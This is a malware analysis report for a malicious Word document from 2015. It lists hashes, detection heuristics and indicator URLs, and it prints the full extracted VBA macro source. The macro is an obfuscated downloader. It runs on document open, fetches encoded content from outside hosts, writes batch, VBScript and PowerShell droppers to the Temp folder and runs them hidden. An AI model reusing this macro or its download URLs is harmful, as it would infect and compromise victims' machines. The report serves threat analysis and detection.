Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bfc540daff998efb…

MALICIOUS

Office (OLE)

69.0 KB Created: 2015-06-23 06:49:00 Authoring application: Microsoft Office Word First seen: 2015-09-18
MD5: 108e73598af426991a85d0fed7c115b0 SHA-1: 247615b4412fd6d7098593b3a325ab00e72bb488 SHA-256: bfc540daff998efb743d51f86eeff44d1ef21daba309453917700a7b5fbe53fc
376 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols

The sample contains VBA macros with Auto_Open execution, indicating an attempt to run malicious code upon opening. The script uses CreateObject and Shell calls, and obfuscated string concatenation to construct URLs for downloading a second-stage payload. The reconstructed URL 'http://kolkatapropertymanagers.com/web_admin/files/kaka.txt' is a primary indicator of this download activity.

Heuristics 14

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kolkatapropertymanagers.com/web_admin/files/kaka.txt Referenced by macro
    • http://kolkatapropertymanagers.com/web_admin/files/99918726387123.txt123123123Referenced by macro
    • http://savepic.su/5751812.jpgReferenced by macro
    • http://savepic.su/5757956.jpgReferenced by macro
    • http://kingkansasvideos.com/wp-content/plugins/contact-form-7/admin/css/99918726387123.txtReferenced by macro
    • http://kingkansasvideos.com/wp-content/plugins/contact-form-7/admin/css/kaka.txtReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10281 bytes
SHA-256: 0942428c69496af97b279f004dd366b7f8702a09c7c929986a2101db94601033
Detection
ClamAV: No threats found
Obfuscation or payload: likely
75 of 191 identifiers look randomly generated (e.g. 'Nuhwdjkqhwjdkqhwdjkqwhdjkwqhdwq'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Hhqwudgqywugdjqygwd_Open()
     
End Sub
Sub ASaHhqwudgqywugdjqygwd_Open()
     
End Sub
Sub Auto_Open()
    Sqwodkjwiqdjqw
End Sub
Sub Fqjwidjhqwiduhqwd()
    QWHDIUQWHDIUQWHD = "quwhdqwi diuhdiq duiqwhu qd2h ihdikqjhdio12h o1d"
End Sub
Sub AFqjwidjhqwiduhqwd()
    HUQDIWQUH = "82ueihkjashdu h289hdiuhd "
End Sub
Sub Sqwodkjwiqdjqw()

  
    Dim huwe, auwd As Integer, aabbb As Integer
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant
    Dim HPPSDJ As String
    
    YUGQYD = Ubqhwdhwqbd(15231) + ""
    FL2 = YUGQYD
    HPPSDJ = "Te" + "mp" + ""
    PH2 = Module4.Goabc(HPPSDJ) + "\"
    
    woweffect = CInt(YUGQYD)
    jwnqdw = 1 - woweffect
    
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "babyuqgw duqywg uyqwguyqwg duywqg dqwgt"
    JWIDJIAAA = ""
    HUYFEA = "qiowjd iqwhuqwhdiuqwhdwuhdiqwhduiq "
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "qwljdlwqk"
    PSFL = FL2 + "" & "." + "p" + "" + Chr(115) _
    + _
    "1"
    
    '+ Right(HYWDAX, 1)
    SSS = Chr(AAAA + 1)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    huwe = 1
    BAFL = FL2 + Chr(Sgn(Fix(-22.043)) + 11 + 10 + 25 + huwe + 0) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + Sgn(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = "m" & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "xe"
    GNG = ".jpg"
    
    PHT = "" & "ht" & "t" & "p:/" & "/" & ""
    SPIC = Chr(100 + 15) + "av" & "epi" + "c.su" + Chr(46 + 1)
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "bauqwhduiq hwgdhj dvbnsavd uqywgdq jwhdgwqd"
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
    CDDD = "99918726387123.txt"
    LNSS = "kaka.txt"
    STT1 = "kolkatapropertymanagers.com/web_admin/files/"
    STT2 = "kingkansasvideos.com/w" + "p-co" + "ntent/pl" + "ugins/contact-form-7/admin/css/"


PBIn = PHT + STT1 + CDDD
    CONT = Module4.Kace(PBIn)
     
    asdwq = Right(CONT, 1)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = PHT + STT2 + CDDD
        CONT = Module4.Kace(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    TVT10 = Port(CONT, "text10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module4.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module4.WaitFor (1)
    
    MIWDWQ = PHT + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = PHT + STT2 + LNSS
    End If
    
    SEXX = Module4.Kace(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = SPIC + "5751812" + GNG
    MSTAR2 = SPIC + "5757956" + GNG
    STAR1 = PHT + MSTAR1
    STAR2 = PHT + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":rtqdftqwfdhwgqf" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module4.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module4.Freat(retVal, BAPTH)
     
     End If
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$ujdkwq = 'jqwdb';"
     Print #CFT, "$stat = 'ht'+'tp://'+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + "';"
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&djwq"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, "@echo off"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":huwdiqgugsgd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34) + "%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module4.WaitFor (1)
     
     NTH2 = Module4.Freat(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    NTH3 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
    NTH4 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
    NTH5 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, "", 3)
    NTH6 = Module6.Thwqbdhjabs(AKK + JUW + INTG + ZKK, "", 3)
    NTH7 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, "", 3)
    NTH8 = Module6.Thwqbdhjabs(AKK + JUW + AFTG + ZKK, "", 3)

 

End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    VQYGDQWGDWQDQ = "ugwqydug quwduqwgd iasd qowidpoqw udoiqwdhqu whdi qwhdiqw dwqd"
    FJQOIWJDHWOQDWQO = "oqwjdioqwjdi qhduqwdhq owd j2o1ieh 12h21uih e21h e12"
    Auto_Open
    EROPWQKOQWJDQWD = "quiwhdu qwhdqiwh pdoiasopdiwpqidpoi 2p1oi21oi21 po21 312 "
End Sub

Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log(10)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject("" & QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.ba" & "se64"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
    MWDQ = ""
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = Chr(60)
NDUW = "" & Chr(62)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function



Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Attribute VB_Name = "Module3"

Attribute VB_Name = "Module4"


Public Function Goabc(sps As String)
Goabc = Environ(sps)
End Function

Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Kace(a As String)
Dim ygwdg As Integer, Nuhwdjkqhwjdkqhwdjkqwhdjkwqhdwq As Object
Dim ggFw As String
ggFw = a
UQIWHDUIQHWD = "hqwdkjqwhdj saodqiw dopqw diqwdioq wduwioq dioqw d"
BNFQBQJWHDDW = "bqwhjdqwjdg qwhjg qgwdjhqwgd osaugdiuqwg diuwqgd"

Set Nuhwdjkqhwjdkqhwdjkqwhdjkwqhdwq = CreateObject("MS" & "X" + "" + "ML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P")
Nuhwdjkqhwjdkqhwdjkqwhdjkwqhdwq.Open "G" & "" & "ET", ggFw
UQIWHDUIQHWD = "hqwdkjqwhdj saodqiw dopqw diqwdioq wduwioq dioqw d"
BNFQBQJWHDDW = "bqwhjdqwjdg qwhjg qgwdjhqwgd osaugdiuqwg diuwqgd"
QJWDIUQHWDUHW = "qwhdjbqwghj dhqwjdg qwjhdg qjhwgdhqjwdjqgd gydug"
Nuhwdjkqhwjdkqhwdjkqwhdjkwqhdwq.Send ""
Kace = Nuhwdjkqhwjdkqhwdjkqwhdjkwqhdwq.ResponseText
End Function


Public Function Freat(a As Variant, b)
a = Shell(b, 0)
Freat = a
End Function





Attribute VB_Name = "Module5"

Attribute VB_Name = "Module6"

Public Function Thwqbdhjabs(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim kjdksjdwqs As Range, selRange As Range
Set kjdksjdwqs = ActiveDocument.Range
With kjdksjdwqs.Find
.Text = dnuwhd
.MatchWholeWord = True
kjdksjdwqs.Find.Execute
kjdksjdwqs.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set selRange = ActiveDocument.Range
Dim wdsadwq As String
selRange.Start = kjdksjdwqs.End
.Text = b
.MatchWholeWord = True
.Execute
kjdksjdwqs.Collapse direction:=wdCollapseStart
selRange.End = kjdksjdwqs.Start

If (c = 1) Then
    selectedText = selRange.Delete
End If
If (c = 2) Then
    selRange.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 423

If (c = 3) Then
    With kjdksjdwqs.Find
    .Text = a
    .Replacement.Text = "" & "-"
    'BYQDWBHJWQJHWQD = "qwhdkjqwhjka sdhq pwdhqwihdk  jhas d"
    'ANUJDIWHDUQWIHD = "yuqgwd yquwgd askdjpqowdopqwj dowj doqwjd "
    'DBJQWHBDJBWQJDBW = "qhwduihqw ihoas dhjskdqwhdkquh s"
    'UQHWUDIQWHDQWHDD = "yrgwyueg fuewfguqywg jhj gdsfsd"
    'BUIBWDBQJDHWQBDD = "nbhbqwdjwq diqwljd klqwjdlqkw jdklqw "
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function

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